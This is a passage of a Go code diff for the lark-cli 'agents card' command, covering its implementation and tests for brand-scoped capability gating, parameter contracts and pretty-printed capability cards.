+// TestCardBrandScoped pins that `agents card example:reporter` renders a
+// brand-scoped card: under feishu task_cancel is true and data.brand=="feishu";
+// under lark the feishu-only task_cancel op flips to false and
+// data.brand=="lark". The agent itself stays visible under both brands (only the
+// op is scoped), so the card renders in both cases.
+func TestCardBrandScoped(t *testing.T) {
+	for _, tc := range []struct {
+		brand          core.LarkBrand
+		wantTaskCancel bool
+	}{
+		{core.BrandFeishu, true},
+		{core.BrandLark, false},
+	} {
+		t.Run(string(tc.brand), func(t *testing.T) {
+			f := brandFactory(t, tc.brand)
+			opts := &cardOptions{Factory: f, Cmd: resolveCmd(t, true, "bot"), Ref: "example:reporter", As: "bot", Format: "json"}
+			out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+			if err := agentCardRun(opts); err != nil {
+				t.Fatalf("card should render under %s: %v", tc.brand, err)
+			}
+			var env output.Envelope
+			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+				t.Fatalf("card output should be valid envelope JSON: %v", err)
+			}
+			data, ok := env.Data.(map[string]interface{})
+			if !ok {
+				t.Fatalf("data should be a card object, got %T", env.Data)
+			}
+			if data["brand"] != string(tc.brand) {
+				t.Errorf("card.brand should be %q, got %v", tc.brand, data["brand"])
+			}
+			caps, ok := data["capabilities"].(map[string]interface{})
+			if !ok {
+				t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
+			}
+			if caps["task_cancel"] != tc.wantTaskCancel {
+				t.Errorf("%s: task_cancel should be %v, got %v", tc.brand, tc.wantTaskCancel, caps["task_cancel"])
+			}
+		})
+	}
+}
+
+// TestTaskCancelBrandGatedUnderLark pins the per-capability brand gate: under
+// lark, `agents task cancel example:reporter` (task_cancel is feishu-only) is
+// rejected offline with the unavailable_for_brand validation error (exit 2)
+// before any request — the CancelTask handler IS wired, so this is a brand gate,
+// not an unsupported_capability gate.
+func TestTaskCancelBrandGatedUnderLark(t *testing.T) {
+	f := brandFactory(t, core.BrandLark)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "t1", As: "bot",
+	})
+	if err == nil {
+		t.Fatal("task cancel under lark should be gated (unavailable_for_brand)")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("want a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
+		t.Fatalf("subtype should be unavailable_for_brand, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
+	}
+}
+
+// TestTaskCancelReachesHandlerUnderFeishu pins the sibling of the gate: under
+// feishu the feishu-scoped task_cancel is live, so the command passes both brand
+// gates and reaches the provider handler — for an unknown task the example store
+// returns invalid_argument (unknown task id), never unavailable_for_brand.
+func TestTaskCancelReachesHandlerUnderFeishu(t *testing.T) {
+	f := brandFactory(t, core.BrandFeishu)
+	err := agentTaskCancelRun(&taskOptions{
+		Factory: f, Cmd: taskCmdCtx(t, "cancel"), Ref: "example:reporter", TaskID: "nope_task", As: "bot",
+	})
+	if err == nil {
+		t.Fatal("cancel of an unknown task should error from the handler")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("want a typed problem, got %T: %v", err, err)
+	}
+	if p.Subtype == errs.SubtypeUnavailableForBrand {
+		t.Fatal("under feishu the brand gate must NOT fire — the handler should run")
+	}
+	if p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("expected the handler's unknown-task invalid_argument, got %+v", p)
+	}
+}
+
+// TestListCatalogIncludesReporterBothBrands pins that an op-level brand tag does
+// NOT hide the whole agent: example:reporter appears in the catalog listing under
+// both feishu and lark (only its task_cancel capability differs by brand).
+func TestListCatalogIncludesReporterBothBrands(t *testing.T) {
+	prov, ok := iagents.Info("example")
+	if !ok {
+		t.Fatal("example provider should be registered")
+	}
+	for _, brand := range []core.LarkBrand{core.BrandFeishu, core.BrandLark} {
+		found := false
+		for _, a := range prov.ListCatalog(brand) {
+			if a.AgentRef == "example:reporter" {
+				found = true
+			}
+		}
+		if !found {
+			t.Errorf("example:reporter should be listed under %s (op-level tag must not hide the agent)", brand)
+		}
+	}
+}
+
+// registerBrandHiddenOnce registers the feishu-only catalog agent exactly once
+// (Register panics on dup). Its ListTasks is deliberately UNWIRED so the
+// whole-agent brand gate can be tested against a verb the agent does not even
+// implement — the ordering assertion behind fix #1.
+var registerBrandHiddenOnce sync.Once
+
+func registerBrandHidden() {
+	registerBrandHiddenOnce.Do(func() {
+		task := func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) {
+			return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
+		}
+		iagents.Register(iagents.Provider{
+			Scheme:        "brandhidden",
+			Label:         "test fake (feishu-only agent)",
+			AgentIDSource: "test only",
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Catalog: []iagents.AgentSpec{{
+				ID:     "x",
+				Name:   "隐藏演示",
+				Brands: []core.LarkBrand{core.BrandFeishu},
+				Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
+					return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
+				}},
+				GetTask: iagents.TaskGetOp{Handler: task},
+				// ListTasks intentionally UNWIRED.
+			}},
+		})
+	})
+}
+
+// TestWholeAgentBrandGatedUnderLark pins the whole-agent brand gate AND its
+// ordering: a feishu-only agent (spec.Brands=[feishu]) reports
+// unavailable_for_brand under lark for EVERY verb — including task list, whose
+// handler is unwired. If the capability nil-gate ran first, task list would
+// misreport unsupported_capability; the whole-agent brand gate must fire before
+// it. Under feishu the agent is visible and its card renders.
+func TestWholeAgentBrandGatedUnderLark(t *testing.T) {
+	registerBrandHidden()
+	lark := brandFactory(t, core.BrandLark)
+
+	errCard := agentCardRun(&cardOptions{Factory: lark, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"})
+	assertUnavailableWholeAgent(t, errCard, "card")
+
+	errList := agentTaskListRun(&taskOptions{Factory: lark, Cmd: taskCmdCtx(t, "list"), Ref: "brandhidden:x", As: "bot", Format: "json"})
+	assertUnavailableWholeAgent(t, errList, "task list (unwired verb)")
+
+	feishu := brandFactory(t, core.BrandFeishu)
+	out := feishu.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentCardRun(&cardOptions{Factory: feishu, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"}); err != nil {
+		t.Fatalf("card should render under feishu (agent visible): %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("card output should be valid JSON: %v", err)
+	}
+	if data, _ := env.Data.(map[string]interface{}); data["brand"] != "feishu" {
+		t.Errorf("under feishu card.brand should be feishu, got %v", data["brand"])
+	}
+}
+
+// assertUnavailableWholeAgent checks err is the WHOLE-AGENT unavailable_for_brand
+// form: subtype unavailable_for_brand, naming the lark brand, and with NO verb
+// named (the op form is "agent '...' 的 '<verb>' 在 ..."; the whole-agent form
+// omits the verb since the entire agent is hidden).
+func assertUnavailableWholeAgent(t *testing.T, err error, where string) {
+	t.Helper()
+	if err == nil {
+		t.Fatalf("%s under lark should be gated", where)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
+		t.Fatalf("%s: subtype should be unavailable_for_brand, got %+v", where, p)
+	}
+	if strings.Contains(p.Message, "的 '") {
+		t.Errorf("%s: expected the whole-agent message (no verb named), got %q", where, p.Message)
+	}
+	if !strings.Contains(p.Message, "在 lark 品牌下不可用") {
+		t.Errorf("%s: message should name the lark brand, got %q", where, p.Message)
+	}
+}
+
+// TestResolvedBrandDefaults pins resolvedBrand's resolution + offline default:
+// nil Factory and an empty configured Brand both fall back to feishu (consistent
+// with core.ParseBrand); an explicit brand is returned as-is.
+func TestResolvedBrandDefaults(t *testing.T) {
+	if got := resolvedBrand(nil); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand(nil) should default to feishu, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, "")); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand with empty Brand should default to feishu, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, core.BrandLark)); got != core.BrandLark {
+		t.Errorf("resolvedBrand should return the configured lark brand, got %q", got)
+	}
+	if got := resolvedBrand(brandFactory(t, core.BrandFeishu)); got != core.BrandFeishu {
+		t.Errorf("resolvedBrand should return the configured feishu brand, got %q", got)
+	}
+}

cmd/agents/card.go

@@ -0,0 +1,377 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"io"
+	"sort"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardOptions holds all inputs for `agents card <ref>`.
+type cardOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	Operation string
+	As        string
+	Format    string
+}
+
+// verbCommandTemplate maps each operation verb to the human command that
+// executes it — surfaced in `--operation` output so the verb↔command mapping
+// is a lookup, not something the caller memorizes (artifact_download being the
+// one non-obvious row). Templates carry <...> placeholders and are never
+// executable verbatim.
+var verbCommandTemplate = map[string]string{
+	iagents.VerbSend:             "lark-cli agents send <agent_ref> --text <text> [--param k=v ...]",
+	iagents.VerbTaskGet:          "lark-cli agents task get <agent_ref> <task-id> [--watch --timeout 30s] [--param k=v ...]",
+	iagents.VerbTaskList:         "lark-cli agents task list <agent_ref> [--context-id <ctx-id>] [--param k=v ...]",
+	iagents.VerbTaskCancel:       "lark-cli agents task cancel <agent_ref> <task-id> [--param k=v ...]",
+	iagents.VerbContextList:      "lark-cli agents context list <agent_ref> [--param k=v ...]",
+	iagents.VerbContextGet:       "lark-cli agents context get <agent_ref> <ctx-id> [--param k=v ...]",
+	iagents.VerbContextDelete:    "lark-cli agents context delete <agent_ref> <ctx-id> --yes [--param k=v ...]",
+	iagents.VerbArtifactDownload: "lark-cli agents task get <agent_ref> <task-id> --artifact <artifact-id> -o <output> [--param k=v ...]",
+}
+
+// NewCmdAgentCard builds `agents card <ref>`: show an agent's capability card
+// (lean by default: capabilities + has_parameters), or — with --operation —
+// one operation's full parameter contract (--operation all returns every
+// operation at once). Resolution is offline; Describe enrichment is
+// best-effort when a client is configured. Risk=read.
+func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
+	opts := &cardOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "card <agent_ref>",
+		Short: "Show a remote agent's capability card, or one operation's parameter contract",
+		Long: "Fetch and show an agent's capability card. The default card is lean: capabilities decide which verbs are available, " +
+			"has_parameters lists the verbs that need a parameter lookup. Use --operation <verb> to fetch one operation's full parameter " +
+			"contract (name/type/required/enum/default + the command shape), or --operation all for every operation at once.",
+		Args: exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentCardRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Operation, "operation", "", "查询某操作的参数契约：动词（capabilities 键名 + send），或 all 一次拿全")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentCardRun resolves the provider addressed by ref and emits either the
+// lean capability card or (--operation) a parameter-contract subquery. The
+// card is first-party static data (not agent-generated content), so it
+// bypasses content-safety scanning. The JSON success envelope is the default;
+// --format pretty opts into the human-readable listing; --jq forces JSON.
+func agentCardRun(opts *cardOptions) error {
+	f := opts.Factory
+	// Resolution is fully offline (no client), so `agents card` works before
+	// config init. The capability matrix + static metadata are always available.
+	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate (offline): an agent hidden from the current brand
+	// has no card to show under it.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+
+	if opts.Operation != "" {
+		return agentCardOperationRun(opts, prov, spec, id)
+	}
+
+	// Best-effort remote enrichment: if a client is configured, pass a runtime so
+	// a provider's Describe can fill Name/Description from the platform; otherwise
+	// rt stays nil and BuildCard returns the offline (caps + static) card.
+	var rt iagents.Runtime
+	if r, rerr := runtimeFor(f, id, agentID, nil); rerr == nil {
+		rt = r
+	}
+	card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), rt)
+
+	jq := jqExpr(opts.Cmd)
+	// pretty is a human view only; a --jq expression implies structured JSON,
+	// so it takes precedence over the pretty format.
+	if opts.Format == "pretty" && jq == "" {
+		printCardPretty(f.IOStreams.Out, card)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     card,
+		Notice:   output.GetNotice(),
+	}
+	if jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// operationContract is one operation's parameter contract in `card
+// --operation` output. Parameters is always an array (empty is [], never
+// null); Command is the human command shape (a template, never executable
+// verbatim) and is omitted for unwired operations.
+type operationContract struct {
+	Operation  string              `json:"operation"`
+	Supported  bool                `json:"supported"`
+	Command    string              `json:"command,omitempty"`
+	Parameters []iagents.CardParam `json:"parameters"`
+	// ParametersSource is "template" on instance providers (both the single-verb
+	// and the all forms), mirroring the lean card's honesty label.
+	ParametersSource string `json:"parameters_source,omitempty"`
+}
+
+// contractFor projects one OpInfo into its output contract.
+func contractFor(o iagents.OpInfo) operationContract {
+	c := operationContract{Operation: o.Verb, Supported: o.Wired, Parameters: []iagents.CardParam{}}
+	if o.Wired {
+		c.Command = verbCommandTemplate[o.Verb]
+		if o.Params != nil {
+			c.Parameters = o.Params
+		}
+	}
+	return c
+}
+
+// agentCardOperationRun serves `card --operation <verb|all>`: the parameter
+// contract subquery. Everything is offline static data. Edge behaviors are
+// deterministic: an unknown verb is invalid_argument listing the vocabulary;
+// an unwired verb answers supported:false; a wired zero-param verb answers
+// supported:true + parameters:[] ("nothing to pass" — not "not found").
+func agentCardOperationRun(opts *cardOptions, prov iagents.Provider, spec *iagents.AgentSpec, id core.Identity) error {
+	f := opts.Factory
+	verb := opts.Operation
+
+	var data any
+	var prettyFn func(io.Writer)
+
+	if verb == "all" {
+		all := map[string]operationContract{}
+		for _, o := range spec.Ops() {
+			all[o.Verb] = contractFor(o)
+		}
+		if prov.Kind() == iagents.KindInstance {
+			data = map[string]any{"operations": all, "parameters_source": "template"}
+		} else {
+			data = map[string]any{"operations": all}
+		}
+		prettyFn = func(w io.Writer) {
+			for _, o := range spec.Ops() {
+				printOperationPretty(w, contractFor(o))
+			}
+		}
+	} else {
+		o, ok := spec.Op(verb)
+		if !ok {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"未知操作 %q，合法值: %s, all", verb, strings.Join(iagents.Verbs(), ", ")).
+				WithParam("--operation").
+				WithHint("--operation 的合法动词见 message 列表（即 8 个操作名；capabilities 里的 file_input/input_required 是行为位、不是动词）；all 一次拿全")
+		}
+		c := contractFor(o)
+		if prov.Kind() == iagents.KindInstance {
+			c.ParametersSource = "template" // struct 复用：不为 unwired 操作凭空造出 command:"" 键
+		}
+		data = c
+		prettyFn = func(w io.Writer) { printOperationPretty(w, c) }
+	}
+
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		prettyFn(f.IOStreams.Out)
+		return nil
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     data,
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// printOperationPretty renders one operation contract as a human block.
+func printOperationPretty(w io.Writer, c operationContract) {
+	if !c.Supported {
+		fmt.Fprintf(w, "operation: %s (不支持)\n", c.Operation)
+		return
+	}
+	fmt.Fprintf(w, "operation: %s\n", c.Operation)
+	if c.Command != "" {
+		fmt.Fprintf(w, "  command: %s\n", c.Command)
+	}
+	if len(c.Parameters) == 0 {
+		fmt.Fprintln(w, "  parameters: （无业务参数）")
+		return
+	}
+	fmt.Fprintln(w, "  parameters:")
+	for _, p := range c.Parameters {
+		printParamPretty(w, p)
+	}
+}
+
+// printParamPretty renders one declaration: the familiar "name: type
+// (required) — desc" first line plus an attribute line (enum / range /
+// default) when present. Desc/enum are provider-authored strings → stripANSI.
+func printParamPretty(w io.Writer, p iagents.CardParam) {
+	req := ""
+	if p.Required {
+		req = " (required)"
+	}
+	fmt.Fprintf(w, "    %s: %s%s", p.Name, p.Type, req)
+	if p.Desc != "" {
+		fmt.Fprintf(w, " — %s", stripANSI(p.Desc))
+	}
+	fmt.Fprintln(w)
+	var attrs []string
+	if len(p.Enum) > 0 {
+		attrs = append(attrs, "取值: "+stripANSI(strings.Join(p.Enum, " | ")))
+	}
+	if p.Min != nil || p.Max != nil {
+		attrs = append(attrs, "范围: "+rangePretty(p))
+	}
+	if p.Default != "" {
+		attrs = append(attrs, "默认: "+stripANSI(p.Default))
+	}
+	if p.NoCarry {
+		attrs = append(attrs, "不入链传（每次调用给新值）")
+	}
+	if len(attrs) > 0 {
+		fmt.Fprintf(w, "        %s\n", strings.Join(attrs, " · "))
+	}
+	// object：叶子逐个缩进渲染（点路径写法直接可见）
+	for _, f := range p.Fields {
+		leaf := f
+		leaf.Name = p.Name + "." + f.Name
+		fmt.Fprint(w, "    ")
+		printParamPretty(w, leaf)
+	}
+}
+
+// rangePretty renders Min/Max for the pretty view.
+func rangePretty(p iagents.CardParam) string {
+	trim := func(f float64) string { return strings.TrimRight(strings.TrimRight(fmt.Sprintf("%f", f), "0"), ".") }
+	switch {
+	case p.Min != nil && p.Max != nil:
+		return trim(*p.Min) + ".." + trim(*p.Max)
+	case p.Min != nil:
+		return ">=" + trim(*p.Min)
+	default:
+		return "<=" + trim(*p.Max)
+	}
+}
+
+// printCardPretty writes a compact human-readable view of the lean card:
+// identity header (with per-identity preconditions), the sorted capability
+// matrix, the has_parameters cue and declared skills. Remote cards carry
+// agent-controlled Name/Description strings, so every such field is
+// ANSI-stripped before hitting the terminal. Nil cards degrade to a
+// placeholder line rather than panicking.
+func printCardPretty(w io.Writer, card *iagents.AgentCard) {
+	if card == nil {
+		fmt.Fprintln(w, "(no card)")
+		return
+	}
+	// Dynamic cards carry a Name; static cards fall back to the provider label.
+	name := card.Name
+	if name == "" {
+		name = card.ProviderLabel
+	}
+	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
+	if card.Description != "" {
+		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
+	}
+	if len(card.Identity) > 0 {
+		ids := make([]string, 0, len(card.Identity))
+		for _, spec := range card.Identity {
+			id := string(spec.Type)
+			if spec.Precondition != "" {
+				id += "（前置: " + stripANSI(spec.Precondition) + "）"
+			}
+			ids = append(ids, id)
+		}
+		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
+	}
+
+	fmt.Fprintln(w, "  capabilities:")
+	// Capabilities is a closed struct; iterate in fixed alphabetical key order.
+	keys := []string{
+		iagents.CapArtifactDownload,
+		iagents.CapContextDelete,
+		iagents.CapContextGet,
+		iagents.CapContextList,
+		iagents.CapFileInput,
+		iagents.CapInputRequired,
+		iagents.CapTaskCancel,
+		iagents.CapTaskGet,
+		iagents.CapTaskList,
+	}
+	sort.Strings(keys)
+	for _, k := range keys {
+		mark := "no"
+		if card.Supports(k) {
+			mark = "yes"
+		}
+		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
+	}
+
+	if len(card.HasParameters) > 0 {
+		fmt.Fprintf(w, "  parameters: %s\n", strings.Join(card.HasParameters, ", "))
+		fmt.Fprintf(w, "    （用 --operation <verb> 查看详情，如: lark-cli agents card %s --operation %s）\n",
+			safeRefOrPlaceholder(card), card.HasParameters[0])
+	}
+	if card.ParametersSource != "" {
+		fmt.Fprintf(w, "  parameters_source: %s（模板级声明，具体 agent 以平台为准）\n", card.ParametersSource)
+	}
+
+	if len(card.Skills) > 0 {
+		fmt.Fprintln(w, "  skills:")
+		for _, sk := range card.Skills {
+			name := sk.Name
+			if name == "" {
+				name = sk.ID
+			}
+			fmt.Fprintf(w, "    %s\n", stripANSI(name))
+		}
+	}
+}
+
+// safeRefOrPlaceholder reconstructs the card's ref for the pretty hint when it
+// passes the interpolation whitelist, else a placeholder.
+func safeRefOrPlaceholder(card *iagents.AgentCard) string {
+	ref := card.Provider + ":" + card.AgentID
+	if safeNextRef(ref) {
+		return ref
+	}
+	return "<agent_ref>"
+}

cmd/agents/card_test.go

@@ -0,0 +1,287 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardTestOpts builds a cardOptions driving agentCardRun against a real
+// (test) Factory. The example card is synthesized statically, so no API call
+// is made and stdout carries the capability card envelope.
+func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
+	t.Helper()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
+	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
+}
+
+// TestAgentCardRun_ExampleStaticCard verifies that `agents card example:echo`
+// returns the statically synthesized capability card (no API), with
+// task_cancel gated off and the three context_* caps on, and the agent_id
+// echoed from the ref.
+func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card should be statically synthesized and not error: %v", err)
+	}
+
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v", err)
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be a card object, got %T", env.Data)
+	}
+	if data["agent_id"] != "echo" {
+		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
+	}
+	if data["provider"] != "example" {
+		t.Errorf("provider should be example, got %v", data["provider"])
+	}
+	// source was removed from the card (schema tightening).
+	if _, present := data["source"]; present {
+		t.Errorf("card should no longer carry a source field, got %v", data["source"])
+	}
+	caps, ok := data["capabilities"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
+	}
+	if caps["task_cancel"] != false {
+		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
+	}
+	if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
+		t.Errorf("echo should support the three context capabilities, got %v", caps)
+	}
+	// The lean card embeds NO parameter details; has_parameters is the always-
+	// emitted (non-null) cue. echo declares no params ⇒ []; the old parameters
+	// field must be gone entirely.
+	if hp, ok := data["has_parameters"].([]interface{}); !ok {
+		t.Errorf("has_parameters should be a non-null array, got %T (%v)", data["has_parameters"], data["has_parameters"])
+	} else if len(hp) != 0 {
+		t.Errorf("echo has_parameters should be empty, got %v", hp)
+	}
+	if _, present := data["parameters"]; present {
+		t.Errorf("the lean card must not embed a parameters field (use --operation), got %v", data["parameters"])
+	}
+	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
+		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
+	}
+	// card no longer exposes scope: the required_scopes field was removed from
+	// AgentCard (scope is an internal registration item used only for preflight).
+	if _, present := data["required_scopes"]; present {
+		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
+	}
+}
+
+// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
+// since the json default flip), the card renders as a human-readable listing.
+// The output must surface the identity and capability names in plain text so
+// the stream is not valid envelope JSON.
+func TestAgentCardRun_PrettyFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card pretty should not error: %v", err)
+	}
+
+	text := string(out.Bytes())
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.Contains(text, "echo") {
+		t.Errorf("pretty output should contain agent_id: %s", text)
+	}
+	// context_list is a declared capability of the echo card; it must appear.
+	if !strings.Contains(text, "context_list") {
+		t.Errorf("pretty output should list capabilities: %s", text)
+	}
+}
+
+// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
+func TestAgentCardRun_JSONFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "json"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card json should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must actually be REGISTERED on `agents card` (the run path already
+// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
+// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
+// the real command so registration + consumption are proven together.
+func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := NewCmdAgentCard(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("card --jq should not error: %v", err)
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
+// line instead of panicking (card.go nil branch).
+func TestPrintCardPretty_NilCard(t *testing.T) {
+	out := &bytes.Buffer{}
+	printCardPretty(out, nil)
+	if !strings.Contains(out.String(), "(no card)") {
+		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
+	}
+}
+
+// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
+// the pretty renderer that a minimal static card omits: the dynamic-card Name
+// (taking precedence over ProviderLabel), Description, declared Parameters, and
+// the Skills block (both the named skill and the id-fallback when Name is empty).
+func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
+		AgentID:       "agt_demo",
+		Description:   "a helpful demo agent",
+		Identity: []iagents.IdentitySpec{
+			{Type: "user"},
+			{Type: "bot", Precondition: "需加入渠道白名单"},
+		},
+		Capabilities: iagents.Capabilities{
+			ContextList: true,
+			TaskCancel:  false,
+		},
+		HasParameters: []string{"send"},
+		Skills: []iagents.CardSkill{
+			{ID: "sk_1", Name: "Sales Analysis"},
+			{ID: "sk_2"}, // no Name → falls back to ID
+		},
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+
+	for _, want := range []string{
+		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
+		"a helpful demo agent",  // Description branch
+		"identity: user, bot",   // IdentitySpec types are joined
+		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
+		"parameters: send",      // has_parameters cue + --operation pointer
+		"skills:",               // Skills block header
+		"Sales Analysis",        // skill with a Name
+		"sk_2",                  // skill without a Name → id fallback
+	} {
+		if !strings.Contains(text, want) {
